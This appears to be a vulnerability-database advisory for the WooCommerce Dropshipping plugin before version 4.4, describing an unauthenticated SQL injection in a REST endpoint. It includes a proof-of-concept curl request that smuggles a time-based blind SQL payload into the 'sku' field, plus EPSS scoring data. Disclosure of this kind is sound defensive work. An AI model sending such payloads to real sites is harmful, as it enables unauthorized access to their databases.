WooCommerce Dropshipping < 4.4 - Unauthenticated SQLi

2022-10-1700:00:00

wpvulndb

woocommerce

dropshipping

unauthenticated

sqli

exploit

0.002 Low

EPSS

Percentile

57.8%

JSON

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection

curl -isk -X 'POST' -H "Content-Type: application/json" --data '{"sku":"a\" AND (SELECT 42 FROM (SELECT(SLEEP(5)))wlHd)-- pOeU"}' 'https://example.com/wp-json/woo-aliexpress/v1/product-sku'

0.002 Low

EPSS

Percentile

57.8%

JSON

Related for WPEX-ID:C5E395F8-257E-49EB-AFBD-9C1E26045373